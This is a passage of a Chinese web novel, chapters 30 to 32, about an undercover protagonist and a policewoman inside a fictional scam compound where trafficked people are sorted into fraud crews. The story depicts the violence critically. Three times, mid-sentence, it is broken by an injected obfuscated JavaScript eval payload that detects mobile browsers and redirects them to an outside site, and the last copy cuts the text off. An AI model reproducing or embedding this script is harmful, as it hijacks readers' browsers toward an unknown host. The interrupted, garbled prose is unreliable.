中小型面包车里面被“卸”了足足二三十号人,跟变魔术似的,从异空间鱼贯而出,有男有女,基本都很年轻,好在至少没有孩子。他们统统带着黑色眼罩,有些人身上有崭新的青紫伤痕,大大小小不一而足。 几个拿棍子的青壮打手上去摘了眼罩,维持秩序,两名精神小伙在一旁大喊大叫。 “老实点!” “既然到了坎丁,就老老实实的!” “不老实,就送你们也去尝尝雷公、定海的滋味!” 从黑暗中一下子迎接光明的滋味不好受。刚下车的人纷纷捂住双眼,等视线逐渐恢复后,亲眼看到眼前破破烂烂的大楼、凶神恶煞的打手,还有站在台阶上居高临下俯视的花衬衫时,有几个胆子小的开始大哭起来。 “放我们回家……我只是听说这里有好工作……” “我妈妈还在等我啊!我是被朋友骗过来的!” “为什么带我来坎丁!我找了向导,要去的明明是水帘镇……啊,是向导卖了我!” 打手们毫不留情地抄家伙上去“组织秩序”。其中有几个年轻男生,趁着这混乱功夫,“不明显”地互相对视一眼,撒腿就往外跑。 他们腿脚的确很快,试图以这样最简单粗暴的方式逃离坎丁。但是很可惜,仅仅几秒之后,他们就被经验丰富的打手和两名精神小伙拦住。 靴子的厚重声音也随之传来,十几秒后就立刻有巡逻的迷彩服跑过来,和花衬衫用当地语言略略沟通了两句,便面无表情地扛着木仓指向他们的头。 在暴力机器的威胁下,所有人都不敢说话了。 直到这时候,花衬衫才趾高气扬地迈下台阶。 唱完了红脸,自然就轮到白脸上场。他扯出一抹笑,随意走到一个被踩在脚下的年轻男人,蹲下来,劝道:“咱们这里,其实和外面正规公司差不多,反而待遇更好呢。” “做好了,可以赚大钱,风风光光衣锦还乡!先试试嘛,如果真不习惯的话,肯定送你们安全回家!” 年轻男人先是被甜言蜜语惹得半信半疑,旋即反应过来,拼命向后退:“求求你了,放我走吧!” 花衬衫不悦地隔着墨镜盯着他。 随后一秒暴躁,掰了掰指虎。呼啸的风声落在对方的脚腕上,发出清脆的碎裂声响。 鸦雀无声。 “带走,关禁闭,老实老实。”花衬衫对精神小伙2号摆摆手,立刻就有人上去拖着断腿的年轻男生离开,方向却不是这栋楼,而是另外一栋门口有人看守的楼。 凌逍在一旁注视着这一切。 她很平静,什么表情也没有,没有任何异样地站在那里一动不动。 但是手背上凸起的血管,比以往任何时候都要迅速跳动。 不过与此同时,凌逍注意到一个人。 一个约莫25岁的姑娘。她的脸上有大片毁容的疤痕,和十二妹一样,很像是被烧伤的痕迹。但这个不是凌逍注意到她的理由。 她站立的姿态,即使故意伪装,依旧隐藏不了下意识笔直坚挺的脊背。她的虎口有训练的痕迹,腰腹部和腿部的肌肉极为发达,看向其他人的目光,是那么的坚毅。 更重要的是,一直到现在,她是这群人里面,唯一一个没有哭出声的人。 凌逍:【系统。我们的任务一,看来难度要减小了。】 系统:【嗯?为什么呀?】 凌逍注视着这个女人,思索片刻。 然后慢慢回答道。 【因为,水帘镇的警方,似乎并没有彻底放弃这片土地啊。】 30.在电诈园区(四) 花衬衫杀鸡儆猴,很快整批新“货”再无声息,瑟瑟发抖地鹌鹑般挤在一起,等待着未知命运的到来。两个精神小伙兴奋极了,依旧不觉得过瘾,颐指气使地挥着电击棍,对他们肆意推推搡搡。 凌逍只是静静垂手站在一旁,若有所思地盯着那名女警。 她一直站在角落中,由于脸上巨大的毁容疤痕,甚至连精神小伙在内的所有人都不禁露出厌恶的神色,下意识远离。不过她似乎从不在意这种偏见。哪怕手背的青筋已经不小心泄露了愤怒的心情,她依旧表露得那么从容镇静。 她隐蔽在角落中,时不时极具技巧地悄悄观察现场情况。那具看似瘦削的身体,实则浑身上下每一块紧绷肌肉都隐藏着巨大能量。在凌逍眼里,她现在简直就是一头蓄势待发、准备狩猎的美丽狮子。 凌逍:【这位水帘镇的警官,身体素质和心理素质都远远超出常人,很好。】 但赞许过后,凌逍依旧不吭声站在花衬衫身旁等候吩咐,并没有因此完全松懈下来。 水帘镇警方派出卧底的尝试,只是有可能加速任务的进程,但远远不够。 因为不知道这位警官会不会意识到最重要的一点—— 这里并不是正义与罪恶、黑与白分明的普通社会,也不会弱肉强食、但自有亘古不变生存规则的草原。 这里是地狱,是拥有一切能想象到的违法犯罪、突破人性底线的地狱——坎丁。 而坎丁,拥有属于坎丁独特的的法则。 抛去良心,做尽一切违法的事,才是这里必须遵从的正义。 花衬衫照例进行人员检查分配工作,他向来很重视这个环节,总是亲自把关。在坎丁,这个步骤一般叫做“收货”。质量合格的,自然留下。而质量不好、完全没办法利用的,就会被扔出坎丁——并不是送回家,而是物理意义上的物尽其用,能转卖的转卖,转卖不了的…… 这里大概只有花衬衫有资格知道了。 “排好队!说,这批质量怎么样?来的路上挑过了吗?”花衬衫示意老鱼,也就是这批货的运转司机,进行收货介绍。 老鱼是个四十多岁的中年人,本地人,络腮胡,凶神恶煞地把人一个个扔到花衬衫面前。他言简意赅,用当地话介绍起来。 “高中毕业,x国人,会用电脑。” 于是花衬衫扬了扬下巴,示意凌逍把人领到一边。 “狗推组。” 狗推是坎丁重要的一线冲锋队,有足足上百号人,分为很多个团队,从最初等级的,再到凌逍这种高等级的,根据业绩不同,所分配的团队也不同。 花衬衫这么说,意思就是让凌逍负责完新人培训之后,后面再看具体分到哪个组。 凌逍心下一凛,轻轻把人拽到了一旁。这年轻男生似乎是刚刚被踩断腿拉走男生的朋友,正极力忍耐着哭泣,肩膀一颤一颤的。 但凌逍动作的手只是微微一顿,神情依旧冷冰冰的,没有表现出任何异样。 这次的任务,必须保证每一步都不能有任何差错。 “下一个。” “三十多岁乡下出来打工的,认字但是没怎么碰过电脑,体力活不错。” “先放狗推组,培训下打字,不行就老鱼你带,放安保组。下一个。” “下一个。” “这个人开过店,会算账。” “嗯,水房。”水房,也就是洗钱的财务处,算是坎丁的技术岗位。被叫到的人懵懵懂懂地被拽着站队,精神小伙在一边嘻嘻哈哈地说“好运气”。 “下一个。” “这个小男生以前搞过pos机和信用卡,手脚不老实,被条子关过几天。” “不错啊小伙子,你这种背景,在坎丁大有可为!去卡头组。办卡做贷款,保准你挣大钱、回家娶媳妇!”花衬衫像模像样地夸了两句,直到小伙子将信将疑跟着站在另一边队伍,才点头道,“下一个。” 就这样过了几轮。不知道什么时候,轮到了一个很瘦很小的男生。 刚刚没人注意,现在被推到众人面前,才发现他有一只胳膊是空荡荡的,只是被长袖掩盖了。 男生咬牙:“刀、刀哥,我,我能干、能干活的,我、我想赚钱做手术……” 花衬衫毫不留情地撇了他一眼,不置可否。 然后愤怒地踢了老鱼一脚。 “谁他妈带这种货色来的?啊?狗推也做不了……算了算了,老鱼,你联系那个谁。”花衬衫完全不看男生。他还稍稍警惕地看了一眼凌逍,见她只是忙着维持狗推组的秩序,这才低声对老鱼吩咐道。 “卖去当猪仔。” 【什么是猪仔啊,凌逍?】系统认真听着,插嘴问道。 凌逍沉默片刻,答道:【应该就是对于没价值的人,坎丁会以低价打包转卖给其他犯罪集团。猪仔……可以养一养,赚长远的钱,也可以很快杀了吃肉啊。】 不仅是凌逍听见了花衬衫细微的声音。女警似乎也听到了。两个人目光不经意相汇交错,对方很快避开,看起来有点厌恶凌逍冷漠的做派。 女警的手攥了又松,松了又攥,手背几乎要颤抖起来,才忍住迈开的腿。 不过幸好最好还是忍耐住了。 凌逍刚刚看她那个架势,暗道不好,已经飞速思考最差情况的善后准备了。 凌逍本想着趁这个机会,更详细了解一下内部产业链格局,没想到来这个世界不到一个小时,就遇到了这种事情。她叹了口气,低低对系统道:【这个小伙子被卖去当猪仔之后,恐怕活不了很久。我们必须七天之内解决整个坎丁,才能救他。】 系统又急又慌:【都听你的!没想到这个地方真的是突破人类底线!】 可这就是坎丁的底线吗? 凌逍没有表示赞同。她只是面色更为凝重地说道。 【这句话放在坎丁并不适用。我所担心的,其实并不止“猪仔”这件事啊……】 老鱼一个个地介绍,花衬衫一个个挑货,精神小伙在一旁抱着电击棍维持秩序。不知道是有意还是无意,这几十号人里明明有男有女,可是目前“收货”完成、放在狗推、水房、安保组的……有年轻的,也有中年的,但清一色都是男性。 剩下的女生们挤在一起,面上带着绝望,眼中含泪,完全不知道自己将去往何方,命运将被何人随意掌控。 凌逍忽然有种极为不妙的预感。 更为不幸的是,这种预感在下一秒就得到了验证。 只见最后一个男生介绍完,老鱼那张方才凶神恶煞的脸,忽然变得轻松,甚至开始挤眉弄眼起来。 他拽过其中妆容明亮,最为得体的一个姑娘,指着笑道:“刀哥,你看看,这颜值和身材够不够劲?” 花衬衫上下打量几眼,哈哈大笑起来,精神小伙也乐不可支。在姑娘们无声的泪水中,连成片的笑声久久回荡在这片扬着飞沙的土地中。 “不错不错,干狗推就可惜了嘛!” 花衬衫走到面前,轻佻调笑问:“咱们公司对女生都很尊重的!你是不是想赚大钱呀!别听外面胡说,坎丁就是最适合你的地方!” “我真的是被朋友骗过来的,我不想赚钱,只想回家……”女生哽咽起来,断断续续地问,“你到底要、要我干什么?” 花衬衫暧昧地摸了她腰上一把,神秘地说: “就是和网友交交朋友、发发牌、做做庄、拍拍宣传照啦……如果你想的话,我看你这么漂亮,还可以介绍你去认识更大的人物!” “女孩子嘛,想开带你。有上进心是好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036778|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过最后还得靠咱们男人嘛,哈哈!” 凌逍暗道不好——孙行路和十二妹都是各有缘由被分到了狗推组,比如孙行路主动要求加入坎丁做诈骗、业绩飞升,而十二妹是脸和身体有大面积烧伤。 可是对于漂亮的女生而言,只是单单因为性别。她们明明已经身处地狱深渊中,却还要注定承受更恶劣的剥削! 他们凝视着女生,用颜值划分着三六九等。嘴里吐着叽里呱啦的人话,可说的、干的,哪件是人能做出来的事! 女生不断跪地哀求起来,花衬衫不为所动,居高临下地柔声劝说着。她嗓子哑了,头发乱了,当着这么多人的面,明明灭灭的眼神,最后于喧嚣中陷入了寂静绝望。 女生看着地面,停顿了很久,忽然慢慢低头。 众人都以为她还要跪下来磕头求饶,谁也没有在意,只是继续调笑着。 咚—— 电光火石之间,发出了头颅撞击地面的沉闷声响。 …… 一丝鲜血染到了地面的沙砾上。 女警睁开眼,发现在强烈的愤怒与正义感催促下,身体已经自己下意识行动起来。此刻冲到女生的面前,堪堪护住对方的头。 但距离太远,似乎只来得及够得到她的发顶。 人呢? 只要活着,就还有希望! 滴答,滴答—— 在女警惊讶而复杂的眼神中,凌熙捂住在巨大的冲击力下、被沙砾蹭掉大面积皮肤的手背。她若无其事地甩了甩手,又一把拽起呆滞而完好无损的女生。 凌逍笑道:“刀哥,我觉得,这姑娘这韧劲,放狗推是一把好手啊。这个月业绩还不得再增加个一百万?” 花衬衫冷笑:“孙行路,怎么,教我怜香惜玉,你出来逞英雄?一百万业绩,那是你的,和我有什么关系?” 凌逍摆摆手,谦虚道:“刀哥,我哪比得上您啊。这不是……” 她抬眼,直视花衬衫,慢慢道: “好的东西,无论是钱,还是女人,都是以【老板】为主啊。” “您在这里挑挑选选做皇帝……【老板】,清楚吗?” 花衬衫不说话了。 指虎在空中挥过冰冷的弧线。许久,他才冷笑起来,墨镜后的疤痕跟随着脸部的肌肉颤抖。 他没有看向凌逍,而是指着女警,吐出一个字。 “打断她的手!” 精神小伙一机灵,立刻拎着电击棒上前! 系统:【啊啊啊凌逍,你为什么要出面啊!救得了一个,怎么救第二个!你护不住女警姐姐的!】 凌逍:【噢,她不用我护,自己就可以。】 系统:【我看出来她武力值高,可是如果动手,不就是暴露身份、打草惊蛇了吗!她很可能交代在这里!】 凌逍:【……闭嘴,乖乖看吧。】 “刀哥,手下留人!” 只见女警不动如山,既不求饶,也没有任何动手的迹象。但同时,一句撕心裂肺的喊声响起。 竟然是老鱼。 他流着冷汗,小跑道花衬衫身边,小声解释起来。 “不懂规矩,第一天吓唬就算了吧,刀哥。”老鱼挠挠头,尴尬说道。 “呃,这个,就是我说的稀有大学生,学计算机的专业人才……” 系统:【……专业人才在哪里都吃香?】 不对,怎么有人武力值和智力值都点亮了啊喂! 女警表面上依旧是那副不动如山的模样。她慢慢站起来,点点头。 “我叫思其路,x大计算机专业,被你们骗到这里了。” 她想了想,认真问道:“毕业季,公司说我长得丑,找不到工作。” “所以你们这里,工资高吗?” 31.第一场争夺战 唰—— 此话一出,精神小伙抡起来的电击棍登时猛地停下,带起一阵旋风,堪堪落在与她手腕仅有几厘米的距离。不过,从那袖管下隐隐蓄势待发的肌肉来看,很难说落下之后断的会是手臂,还是电击棍了。 《论怎么用三句话让所有人为我沉默》 系统看得目瞪口呆,又看了看一边并不很担忧这边、正低声安慰撞头女生的凌逍。 【……6啊老妹!】 一番话说完,精神小伙的电棍也停了,尴尬地站在一旁。花衬衫也不吱声了,只是上上下下地打量她,神情十分复杂。 思其路被所有人注视着,连眼皮子都没眨一下。 她认认真真问花衬衫:“你是这里老大,应该负责发工资吧?” 她叹了口气,随意指了指了自己脸上的疤痕:“你们不知道,找工作时候这玩意超级麻烦啊。反正在哪工作不是工作呢,过几年能攒钱回老家买房就行。” “谁给工资高,就去哪干活,凭本事吃饭不嫌脏……喂,所以工资到底能有多少?” 精神小伙1号挠挠头,凶神恶煞的脸慢慢纠成一团:“刀哥?” 坎丁其实不缺狗推,也不缺其他组的人员。只不过业务范围已经推广到全世界,人手越多越好,再不济还可以转卖出去当猪仔嘛。 可是高素质人才,尤其是搞计算机的,就最为稀缺了。其他组的培训培训就能用,反正园区早就构建了体系网。但网站的建设维护、后台赌率的实时调整、加密货币的大额交易、还有防止境外网警的反侦察手段……桩桩件件关联整个集团业务的事情,绝不是谁都能做的,哪一样不需要计算机人才的能力? 就算是在臭名昭著的坎丁,哪怕这一充斥着恐吓与利诱的罪恶之地,也无法拒绝一个x大计算机系的毕业生。恐吓也好,利诱也罢,让人赶紧为坎丁干活才是真理。当然,如果这个人才打心底里想要留下…… 那么,坎丁当然欢迎,并愿意返还一点微不足道的生存便利。 花衬衫点了根烟,抽了两口,走近。 烟雾缭绕之中,思其路脸上的伤疤反而更为明显了。花衬衫打量几眼便厌恶地撇过头,看也不看地问:“x大计算机系?” 思其路不卑不亢答:“是。” “都会什么?” “计算机系毕业该会的都会,还拿过全国大赛银奖。” “怎么来坎丁的?” 思其路正要开口,老鱼就凑上来笑嘻嘻帮她答——当然,也是为了邀功。 “她运气好,本来是去水帘镇找同学,随便找了个当地人问路,结果那个路人就是咱们蛇头手下的。我一听这学历,这能力,就赶紧给您带来了……” 带一个人来坎丁,尤其是这么有用的,他这个月的绩效又多了不少。 见花衬衫显然还有些犹豫,老鱼心领神会,低声凑到耳边劝道: “刀哥放心,自从十年前水帘镇一把火被烧掉之后,这么多年,一直没条子过来了吧?难不成一个毁容的刚毕业女大学生,恰好就是条子的人?” “而且瞧瞧她那一门心思想赚钱的劲,啧啧,肯定不会想着跑。就算跑,回到外面社会,就算是人才,我看哪个公司会要长成这样的呀?还是得咱们坎丁,在【老板】……噢不,在您亲自的带领下,英雄不论出身!” 花衬衫本身就是个小混混出身,能混到坎丁现在这个地位,凭借都是一股物理上的狠劲,不过毕竟基本的智商还在,不是可以被随便糊弄的人。 他抽着烟,问老鱼最后一个有点担忧的问题:“真是x大的?她说什么就是什么?” 老鱼“哎呦”着一拍脑袋,赶紧打开车后备箱,翻了一会拿出一个白色的书包。 思其路指了指:“啊,我的包。” 老鱼压根没理她,掏了半天,从中掏出一个学生证,送到花衬衫手里。 干干净净的学生证,盖着象征高级学府的红章。照片上女孩脸上有着成片烧伤痕迹,面无表情——正是思其路。 的确,身份一点儿也挑不出毛病。 尘埃落定。 直到此刻,花衬衫终于感觉被凌逍和思其路方才当众“顶撞”的怒气消了一点,长长舒了一口气。他靠近,想要拍拍思其路的肩膀,见到伤疤又下意识后退一步。 红脸唱完就是白脸,威逼之后便是利诱。 这套是坎丁最常用的手段。 “哈哈哈,好啊,很好,坎丁非常欢迎你这样的人才!”他放声大笑起来,仿佛刚刚差点没了一条人命的事情完全不曾发生,墨镜后的刀疤不断抖动,“工资什么的都当然好说。一会签合同你就能看到,咱们提成可多了,保准你两年就回老家买房,大别墅,风风光光的!” “思其路是吧?以后你在坎丁就叫阿路,去正将组发挥你的计算机特长,干得好也提拔你当组长……哟,瞧瞧,多有缘分啊,”花衬衫一把拉过凌逍,将两个人凑在一起,笑道。 “两个阿路,大阿路和小阿路,都是坎丁有用的人才,绝对亏待不了你们的!” 思其路慢慢看了凌逍一眼。 这个叫“孙行路”的人,似乎在坎丁有点地位,但不多。不知怎的,凭借生死之中搏出来的强烈直觉,这个人总给她一种无法看透的感觉。甚至她有预感,这次行动,自己很有可能会深入接触孙行路。 但是当目光落到对方仍在滴答渗血的手背时,她的眸底不由闪过一丝复杂的震动。 难道在坎丁……也还残留着人性吗? 又或者,只是唱红白脸的表演一环? 思其路对花衬衫貌似犹豫地点点头,看起来就像在面对老板画的大饼禁不住心动,但还在认真思考的样子。 一举一动相当符合人设。 凌逍倒是很快微笑回答:“谢谢刀哥赏识,要我说这批都是人才。这下子不仅仅是狗推组,整个园区业绩又能加了——这可不分你的我的,都是刀哥您的成绩,老板回来看到肯定高兴。” 花衬衫被捧得心情舒爽,不由哈哈大笑了起来。 凌逍见状,“不经意”地继续道:“小阿路去正将组是大好事啊。前几天我还说咱们的网站有bug呢,狗推组引导下了注这边,结果后台赌率调整没及时跟上,损失一笔入账。这下我得狠狠和小阿路提后台需求了。” 花衬衫皱眉:“还有这回事?” 凌逍:“嗯,挺麻烦,看来两组还是不能信息隔绝,得多配合啊。” “行,狗推那边发现问题就赶紧和正将组提,也看看咱们小阿路的能力。”花衬衫略一思索就答应了,复又补充道:“噢,记得工作时间外提,别影响正常工作。” 系统:【……这话说得,我有一种真在大厂当牛马的错觉……】 凌逍应答,又继续轻声引导道:“要不趁这个机会,我带这批新人两组之间多磨合磨合,争取给别的组打个样,也试着搞搞什么SOP流程?提高效率嘛,以后AI时代,还可以借机再优化流程,拉人快,入账快。业绩保证翻倍,多出来的肯定孝敬您。” 她说的是,“带这批新人”。 不过花衬衫并没有注意到。 花衬衫其实没太听懂这话意思,反正什么SOP、什么AI,乍一听很专业高大上的样子,前景大大的。孙行路是狗推的一把好手,勤勤恳恳干了几年从来不跑路,这话应当没毛病。 系统目瞪口呆看着凌逍在诈骗园区里面反向画大饼。 【喂,干脆你们一个个都改名老六好了……】 凌逍却只是微笑着,耐心等待花衬衫回答。 他心情好,畅想着【那位】回来之后对自己赏识的样子,想着继续在园区里有权有势的生活,于是大手一挥: “好!” 坎丁迎来了新的血液,尤其是宝贵的、可以免费劳役到死的人才。于是方才的剑拔弩张早已消失,剩下的是一片和乐融融。已经安排好的男生们整整齐齐分队列在后面不敢出声,还没定下来的剩余女孩子们也噤若寒蝉。花衬衫高高站在台阶上,享受着这一刻指点江山的荣光。 坎丁,不存在反对的声音。 或者说,只能是“存在过”。 见花衬衫此时不住得意大笑,显然心情极好的样子,凌逍微微眯起双眼。 她向前踏了一步,状似随意地对精神小伙1号指挥道:“还愣着干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15073691|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?刀哥都安排完了,咱们把人领下去,该签合同、正式走培训流程了。组里一堆事还得回去忙呢,等不得的。” “啊?”精神小伙1号一愣,挠头问花衬衫:“刀哥,剩下的妹子怎么办?” “刚刚的话是没听见吗?!” 没待花衬衫开口,凌逍就竖起眉毛,呵斥道:“刀哥高瞻远瞩,趁着这次新人条件都很不错,咱们拥抱未来,优化工作流程,让坎丁更上一层楼!” “我带剩下的这几个女生直接进我的组,噢,还有刚刚分到狗推组的人——这是刚刚刀哥已经亲口同意的事情!对于优化的事情,我们今天就会和正将组讨论。” 听到这番话,思其路瞳孔剧烈收缩,眼底掀起了波涛巨浪! 这个孙行路,究竟是有意还是无意? 对方这样做的目的,真的是为了增加自己组的业绩吗? 见花衬衫一愣,嘴唇动了动,似乎想说什么,凌逍又赶紧再给他当着众人的面带了个帽子。 “刀哥一言九鼎,咱们狗推组也不能落后,这个月新人这么多,我现在就把话落在这——我们组这个月业绩指标翻倍,保证完成1000万!!” “1000万,而且我的那份绩效,现在在场的人人有份!!” 花衬衫:“……” “还记得那句口号吗?”凌逍冲着精神小伙,不由分说抬抬手,按节拍挥舞道,“坎丁的口号,来啊大家!什么来着,你们不会忘了吧!” 系统:【……喂,完全忘了的难道不是你吗??】 【感情你这边都是在现学现卖啊!】 精神小伙1号下意识喊道:“今天拼一把!” 与此同时,送完被打断腿新人、刚回来的精神小伙2号:“……明天赚一番!” 口号就像是一种被点燃的火把。 日复一日的重复呐喊,会麻痹、洗脑,会令人下意识地服从这点永远不会到来的畅想,然后成为坎丁的一把没有思想的刀,一把被砍断了、卷刃了就会扔掉的刀。 两人虽然不知道发生了什么,但是当口号响起的时候,他们下意识地大喊起来,兴奋地挥舞手臂,不断喊道: “今天拼一把,明天赚一番!今天冲一把,明天成大款!” 花衬衫:“……” 思其路:“……?” 其他人:“…… ??” 凌逍满意地指挥道:“再来一遍!” 于是老鱼、路过的安保组下意识地也加入这场莫名其妙的狂欢。已经分好队伍的新人、仍在等待的女生们犹犹豫豫地看看四周,也茫然地举起了自己的手。 “今天拼一把,明天赚一番!今天冲一把,明天成大款!” 直到嘈杂喧嚣的口号声慢慢消散在这片暗黄色的土地,惊起的飞鸟尽数四散逃离,凌逍才笑嘻嘻地转向花衬衫,毫不犹豫地深深鞠躬。 “感谢刀哥对我们狗推组的厚爱,才能加入这么多新人!我们所有人的业绩,都离不开刀哥您。” “哪怕【老板】回来……当着【老板】的面,我也同样会这么说的。” 已经是骑虎难下了,尤其对于注重脸面的人来说。在这种情况下如果还拒绝,只会损害鲜血打拼出来的威信。 花衬衫看了凌逍几眼,沉默了很久。 他把烟掐灭,指虎咯吱咯吱地响了又响,又归于沉寂。 他的声音有点闷,但也说不上气愤。 “嗯,就这么办吧。”过了十几秒,他扫了一眼地下的人,包括那群年轻的女孩子,尤其是刚刚那个容颜尤其姣好的女生。 花衬衫狠狠盯了一眼,就像是错过盛宴的恶狠狠的狼。许久之后,才摆摆手。 “行了,各位,现在我带大家去签合同,然后和各位介绍下公司。然后狗推组就和大阿路一起去培训,剩余的老鱼负责送到各自组。” 凌逍一把拽过仍在呆愣的女生,并示意剩下的女生赶紧跟上来。 她们安全了……暂时。 凌逍闭了闭眼,很低很低地舒了一口气。 拾阶而上,她与思其路擦肩而过,几不可见地点点头。 “现在,先走吧。” 32.在电诈园区(六) 在坎丁,收货的第一道流程是红白脸恐吓,先物理与心理双重震慑住所有想逃跑的人。第二道流程,则是将所有人带到所谓的“接待室”签合同。浩浩荡荡的队伍被押到一楼角落的小房间里,路过厨房时,做饭的本地阿姨们习以为常地看了一眼,就继续面无表情地低头切菜。 思其路垂眸跟精神小伙走在前面,安安静静的。不过凌逍注意到她的视线,很明显是在细心打量楼层结构和布置。 在路过一楼厨房角落的破旧电线时,她的眼神也几不可查地停顿了一下,很快露出若有所思的神情。 凌逍在她斜后方观察着,不由心念一动——看来这位年轻的警察,的确是身经百战的好手,胆大而心细如发,否则也不会被派来世界上最危险的地方做卧底。不过按理来说,一般不会派出这么年轻的后辈,除非……自己强烈主动请缨。 但是问题来了。 在坎丁,除了思其路,还会有其他水帘镇警方派来的人吗? 不管怎么样,时间有限,她必须尽快与这位思警官消除怀疑,达成一致战略,这样才能了解警方已掌握的信息、互相配合。还有其他人……也最好争取到协助,即便没有,也必须确保他们不会对任务造成任何阻碍。 毕竟在坎丁,任何一点疏漏都会导致任务失败,所有人将陷入万劫不复之地中。 很快,几十人沙丁鱼一样挤在一起,花衬衫坐在办公桌后面,拍拍手,精神小伙立刻将抽屉里的一沓文件取出来。 “放心,我们这都是正规流程的,公司化管理,白纸黑字的劳动合同,”花衬衫又掏出一支烟,翘起二郎腿,“奉劝各位,在我还有耐心和大家说话的时候,就赶紧签字。” 烟雾缭绕中,他的那张脸显得更加凶神恶煞了。 经历了方才的事件,众人初次见识到了坎丁这片法外之地的恐怖,再加上精神小伙拿着电棍在一旁镇压,他们只得硬着头皮拿起合同。 谁料刚一拿起薄薄的纸,就简直让人眼前一黑。 系统见大家神情猛然一变,也探出头赶紧凑热闹。 然后一秒瞠目结舌。 【哇……】 系统思考片刻,才艰难地吐出自带词汇库中的骂人下限。 【这,这简直是突破想象的不要脸诶……】 只见白纸黑字上,赫然写着“劳动合同”四个大字。甲方是坎丁科技发展有限公司——这是它诸多皮套中的一个,注册在这片三不管地带,而乙方就是这些“货”。合同格式都很整齐,但是内容非常离谱。 比如上来第一条就是赔付条款。 乙方需要提前支付甲方“空气呼吸费”20万元,于工资中提前扣除。 乙方需要提前支付甲方“地板摩擦费”10万元,于工资中提前扣除。 乙方离开坎丁需要违约金100万元。 ……总之意思就是人刚到坎丁,先倒欠百十来万的债务,活着的每一秒都在支出,后续的每月工资大部分都得用于还债,少部分则留给自己日常消费——当然,是在坎丁赚,在坎丁花,购买力约等于无。 至于工作时间和内容也很离谱,所有人每天工作时间固定为7:00-12:00,12:30-18:30, 19:00-22:00,一天三班两顿饭,眼睛一睁就得开始当牛做马,毫无休息可言。基本的工作内容则不尽相同,比如狗推组,第一份合同的工作内容是前两个月保底完成40万元的业绩,后续每个月的业绩指标还会再随之增加。而关于薪水和提成,的确写得很诱人,不过仔细看来有种好像是写了、又好像很微妙的感觉,大概只有孙行路这种做到组长级别的员工,才能大部分落实。 系统:【果然,资本主义的毛孔中都滴着血和肮脏的东西啊……】 凌逍:【一时不知道你在侮辱坎丁还是资本主义。】 甲方的落款是坎丁科技发展有限公司,同时,法定代表人那里盖了一个小小的红色电子印章。但是这个时候,无人关系那个印章上复杂的小篆体是什么内容——除了凌逍和思其路。 复杂的小篆体上,仔细辨认,可见是一个繁体字。 【圣】。 圣?这难道就是坎丁神秘的大boss,【老板】的真名吗? 系统:【所以他单名叫圣?】 凌逍忖度片刻:【这是一种可能。但还有一种可能——他将这个字,作为了自己的代号。】 可究竟是什么人,才会一手壮大了坎丁这个犯罪天堂,却同时以【圣】来指代自己呢? 这真是个矛盾而极端的人。 凌逍心中一凛,总觉得这位神秘的【老板】恐怕身份不同寻常,除了从任务提示和花衬衫的话中推测,【老板】很可能7天内会回到坎丁,其余简直一无所知。 但凌逍深知这并不是此刻来得及细想的事情。此刻劳动合同发放完毕,花衬衫高高在上地扬起下巴,示意赶紧签字。众人面面相觑,心中害怕又充满了疑虑,迟迟不敢下笔签字。 凌逍注意道花衬衫越来越不耐烦的神情,当机立断,拉住一旁还一脸懵的女孩儿。 “签!”凌逍果断握住女孩儿的手。 然后大声对所有人道:“刀哥一言九鼎,该签合同就签合同。咱们以后就别想东想西的,只要在这里老老实实地干活,很快,保证大家都能得到想要的!” 这话说得很微妙,但并不会引起别人怀疑,只是各自入耳,又会有不同意思。 大家想要的是什么呢? 至少现在接待室里的大部分人,想要的都只是回家,回到外面阳光而自由的土地而已。 思其路听见了,不动声色地瞥了凌逍一眼。那个眼神中,充满了怀疑,但凌逍只是微微一笑,冲思其路慢慢眨了眨眼。 思其路一愣,状似不经意地又瞥了凌逍一眼。 于是凌逍再次肯定地冲她眨眨眼。 这回换做思其路沉默片刻,然后第一个大步上前,在凌逍的面前甩了甩笔。 她有力地在合同上签了自己的名字。 签完之后,她平静地对花衬衫点头:“我看完合同了,条件很不错,工资比我面试过的地方都高,就是前期费用有点多。” 花衬衫哈哈大笑起来,眼底的怀疑稍稍消退,拍拍手:“哈哈,哪里多了,保证你一个月就赚回来了!” “那今天就开始上工吗,老板?” “我哪里敢称【老板】”,花衬衫表情舒爽,却仍旧摆摆手,“小阿路叫我刀哥就行了,很有工作热情嘛!好好干,不会亏待你的!” 凌逍也笑着鼓了几下掌。同时,内心满意地对系统说道: 【很好,我已经和这位警官初步聊了一下,下午有空的时候我去正将组找她,详细谈论合作。】 系统:【……?!!不是,什么叫“聊了一下”?什么时候,我怎么不知道???】 凌逍:【就刚刚啊。】 系统:【……啥?】 凌逍非常包容裸机系统:【是摩斯密码。方才我眨眼第一句说的就是,‘警官,SOS’。直接点出她的身份,让她对我产生疑惑;而呼叫SOS,代表我其实与坎丁不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 